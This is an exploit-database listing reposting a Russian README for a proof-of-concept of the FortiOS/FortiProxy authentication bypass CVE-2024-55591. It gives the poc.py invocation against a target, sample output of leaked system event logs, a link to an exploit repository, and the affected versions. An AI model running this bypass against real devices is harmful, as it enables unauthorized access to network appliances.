Sploitus

Exploit for fortios-auth-bypass-poc

CVE-2024-55591

kitploit · 2026-08-25

Exploit Code

MARKDOWN53 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-SYSIRQ-FORTIOS-AUTH-BYPASS-POC-CVE-2024-55591
# CVE-2024-55591

PoC уязвимости обхода аутентификации Fortinet FortiOS

# Описание

Используя этот PoC, вы можете обойти аутентификацию и просмотреть системный журнал.

# Использование

root@kitploit:~
    
    
    sysirq@sysirq-machine:~/Work/Fortinet/FortiGate_7_0_16/CVE-2024-55591$ python3 poc.py
    usage: poc.py [-h] --target TARGET [--port PORT]
    poc.py: error: the following arguments are required: --target/-t
    

# Демонстрация

![image-20250121202644232](https://assets.kitploit.com/production/public/readmes/33132/66be9cb0cac3dbfbb7f284ed192355a3eb7177624c72716fe68e9b06d6349ea8.png)

![image-20250121202823393](https://assets.kitploit.com/production/public/readmes/33132/895d0bb39b1f6149c091b01c6290a45c2ded00c184b21d0e5e5f1bb6ba517aa8.png)

# Вывод PoC

root@kitploit:~
    
    
    sysirq@sysirq-machine:~/Work/Fortinet/FortiGate_7_0_16/CVE-2024-55591$ python3 poc.py -t 192.168.182.188 -p 443
    WebSocket handshake successful!
    {'fin': 1, 'rsv': (0, 0, 0), 'opcode': 1, 'mask': 0, 'payload_length': 22, 'payload_data': b'{"type":"initialized"}'}
    {'fin': 1, 'rsv': (0, 0, 0), 'opcode': 1, 'mask': 0, 'payload_length': 578, 'payload_data': b'{"type":"eventLog","payload":{"id":32002,"name":"LOG_ID_ADMIN_LOGIN_FAIL","vdom":"root","log":{"date":"2025-01-21","time":"04:25:33","eventtime":"1737462333650070902","tz":"-0800","logid":"0100032002","type":"event","subtype":"system","level":"alert","vd":"root","logdesc":"Admin login failed","sn":"0","user":"asdasd","ui":"https(192.168.182.135)","method":"https","srcip":"192.168.182.135","dstip":"192.168.182.188","action":"login","status":"failed","reason":"name_invalid","msg":"Administrator asdasd login failed from https(192.168.182.135) because of invalid user name"}}}'}
    
    
    
    {'fin': 1, 'rsv': (0, 0, 0), 'opcode': 1, 'mask': 0, 'payload_length': 360, 'payload_data': b'{"type":"eventLog","payload":{"id":41001,"name":"LOG_ID_UPD_FGT_FAIL","vdom":"root","log":{"date":"2025-01-21","time":"04:26:33","eventtime":"1737462393458974985","tz":"-0800","logid":"0100041001","type":"event","subtype":"system","level":"critical","vd":"root","logdesc":"FortiGate update failed","status":"update","msg":"Fortigate scheduled update failed"}}}'}
    
    
    {'fin': 1, 'rsv': (0, 0, 0), 'opcode': 1, 'mask': 0, 'payload_length': 593, 'payload_data': b'{"type":"eventLog","payload":{"id":32001,"name":"LOG_ID_ADMIN_LOGIN_SUCC","vdom":"root","log":{"date":"2025-01-21","time":"04:27:25","eventtime":"1737462444847679040","tz":"-0800","logid":"0100032001","type":"event","subtype":"system","level":"information","vd":"root","logdesc":"Admin login successful","sn":"1737462444","user":"admin","ui":"https(192.168.182.135)","method":"https","srcip":"192.168.182.135","dstip":"192.168.182.188","action":"login","status":"success","reason":"none","profile":"super_admin","msg":"Administrator admin logged in successfully from https(192.168.182.135)"}}}'}
    {'fin': 1, 'rsv': (0, 0, 0), 'opcode': 1, 'mask': 0, 'payload_length': 610, 'payload_data': b'{"type":"eventLog","payload":{"id":40704,"name":"LOG_ID_EVENT_SYS_PERF","vdom":"root","log":{"date":"2025-01-21","time":"04:28:10","eventtime":"1737462490052966824","tz":"-0800","logid":"0100040704","type":"event","subtype":"system","level":"notice","vd":"root","logdesc":"System performance statistics","action":"perf-stats","cpu":"0","mem":"7","totalsession":"10","disk":"1","bandwidth":"12/2","setuprate":"0","disklograte":"0","fazlograte":"0","freediskstorage":"28521","sysuptime":"7221","waninfo":"N/A","msg":"Performance statistics: average CPU: 0, memory:  7, concurrent sessions:  10, setup-rate: 0"}}}'}
    

# Демонстрация эксплойта

https://github.com/sysirq/fortios-auth-bypass-exploit-CVE-2024-55591

# Затронутые версии

  * FortiOS с 7.0.0 по 7.0.16
  * FortiProxy с 7.0.0 по 7.0.19
  * FortiProxy с 7.2.0 по 7.2.12